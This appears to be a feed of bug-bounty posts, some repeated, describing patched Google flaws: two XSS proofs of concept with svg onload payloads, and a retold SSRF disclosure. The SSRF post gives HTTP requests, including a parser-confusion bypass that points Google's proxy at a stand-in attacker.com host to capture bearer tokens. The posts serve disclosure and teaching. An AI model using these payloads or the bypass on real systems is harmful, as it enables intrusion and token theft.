Hey Hunter's,
DarkShadow here back again. Dropping a Google XSS POC1😁
✅POC steps:
a simple XSS payload as usual😏
The vulnerability has been patched🥱
Don't forget to follow me 👉🏼 DarkShadow
#xss #poc #googlebug
DarkShadow here back again. Dropping a Google XSS POC1😁
✅POC steps:
Vuln host: aihub.cloud.google.com
Vuln param: /url?q= (GET method)
Tecniq: double url encoding
Payload: "><svg/onload=alert(document.domain)>
a simple XSS payload as usual😏
The vulnerability has been patched🥱
Don't forget to follow me 👉🏼 DarkShadow
#xss #poc #googlebug
😱10👍7🔥4🫡2🗿1
Hey Hunter's,
Dark Shadow here back again. Dropping a Google XSS POC-2😁
✅POC steps:
A simple payload can flip the game if you are use it in right place.😁
The vulnerability has been patched🥱
Let me know—aren’t you all interested to know that Google rewarded $31,337 for an SSRF vulnerability?
And
Don't forget to follow me 👉🏼 DarkShadow
#xss #googlebug
Dark Shadow here back again. Dropping a Google XSS POC-2😁
✅POC steps:
•Vuln host: books.google.com
•Xss type: stored based XSS
•Vuln param: book name title and publisher name parameter.
•Technique: direct inject the payload. Without any kind of encoding. (Reason: no input sanitization)
Payload: "><svg/onload=prompt(1)>
A simple payload can flip the game if you are use it in right place.😁
The vulnerability has been patched🥱
Let me know—aren’t you all interested to know that Google rewarded $31,337 for an SSRF vulnerability?
And
Don't forget to follow me 👉🏼 DarkShadow
#xss #googlebug
🔥23🗿8👍4❤2🐳2
Hey Hunters,
DarkShadow here—back again with a very interesting Google SSRF Proof of Concept!
🧠 Fixing the Unfixable: A Google Cloud SSRF Tale
A critical Server-Side Request Forgery (SSRF) vulnerability was discovered in Google's cxl-services.appspot.com proxy, which powers interactive demos for various Google Cloud products, including jobs.googleapis.com.
🔍 Discovery
While exploring the Cloud Talent Solution API (jobs.googleapis.com), it was noticed that demo requests were routed through:
cxl-services.appspot.com/proxy?url=
Here’s a sample request:
The response returned 200 OK and displayed the full content, meaning the SSRF was not blind — and that makes it critical.
🧱 Initial Test: Traditional SSRF Blocked
Trying to change the url parameter to a malicious domain:
Response:
403 Forbidden
Invalid Target Host - Please add to allow list
This indicated the presence of a backend whitelist restricting outbound requests.
🛡️ Whitelist Bypass Trick
Despite the whitelist, a clever bypass was possible by exploiting discrepancies between URL parsers (RFC3986 vs. WHATWG) using a backslash (\) and @ symbol:
This tricked the proxy into making the request to attacker.com, while treating the domain as jobs.googleapis.com.
🔓 Sensitive Token Leakage
Even worse: the proxy included an Authorization: Bearer <token> header in its outbound requests.
By redirecting traffic to a controlled server, the researcher was able to capture tokens granting access to internal Google Cloud projects such as:
He even deployed a custom App Engine service within cxl-services, proving full code execution capabilities.
💰 Bounty Rewards
For these critical findings, the researcher earned over $13,000 from Google’s Vulnerability Reward Program (VRP).
Credit: Discovered by David Schütz
But Hunters, don’t forget to follow me for more deep-dive writeups and live exploitation breakdowns!
Follow me in X 👉🏼 DarkShadow
#bugbountytips #googlebug #ssrf
DarkShadow here—back again with a very interesting Google SSRF Proof of Concept!
🧠 Fixing the Unfixable: A Google Cloud SSRF Tale
A critical Server-Side Request Forgery (SSRF) vulnerability was discovered in Google's cxl-services.appspot.com proxy, which powers interactive demos for various Google Cloud products, including jobs.googleapis.com.
🔍 Discovery
While exploring the Cloud Talent Solution API (jobs.googleapis.com), it was noticed that demo requests were routed through:
cxl-services.appspot.com/proxy?url=
Here’s a sample request:
GET /proxy?url=https://jobs.googleapis.com/v4/projects/4808913407/tenants/ff8c4578-8000-0000-0000-00011ea231ff/jobs:search HTTP/1.1
Host: cxl-services.appspot.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Content-Type: application/json; charset=utf-8
Content-Length: 102
Connection: close
{"jobQuery":{"query":"bartendar","queryLanguageCode":"en"},"jobView":"JOB_VIEW_SMALL","maxPageSize":5}
The response returned 200 OK and displayed the full content, meaning the SSRF was not blind — and that makes it critical.
🧱 Initial Test: Traditional SSRF Blocked
Trying to change the url parameter to a malicious domain:
GET /proxy?url=https://attacker_server.com HTTP/1.1
Host: cxl-services.appspot.com
Response:
403 Forbidden
Invalid Target Host - Please add to allow list
This indicated the presence of a backend whitelist restricting outbound requests.
🛡️ Whitelist Bypass Trick
Despite the whitelist, a clever bypass was possible by exploiting discrepancies between URL parsers (RFC3986 vs. WHATWG) using a backslash (\) and @ symbol:
GET /proxy?url=https://attacker.com\@jobs.googleapis.com/ HTTP/1.1
Host: cxl-services.appspot.com
This tricked the proxy into making the request to attacker.com, while treating the domain as jobs.googleapis.com.
🔓 Sensitive Token Leakage
Even worse: the proxy included an Authorization: Bearer <token> header in its outbound requests.
By redirecting traffic to a controlled server, the researcher was able to capture tokens granting access to internal Google Cloud projects such as:
docai-demo
cxl-services
garage-staging
p-jobs
He even deployed a custom App Engine service within cxl-services, proving full code execution capabilities.
💰 Bounty Rewards
For these critical findings, the researcher earned over $13,000 from Google’s Vulnerability Reward Program (VRP).
Credit: Discovered by David Schütz
But Hunters, don’t forget to follow me for more deep-dive writeups and live exploitation breakdowns!
Follow me in X 👉🏼 DarkShadow
#bugbountytips #googlebug #ssrf
🔥15👍8🗿2❤1😱1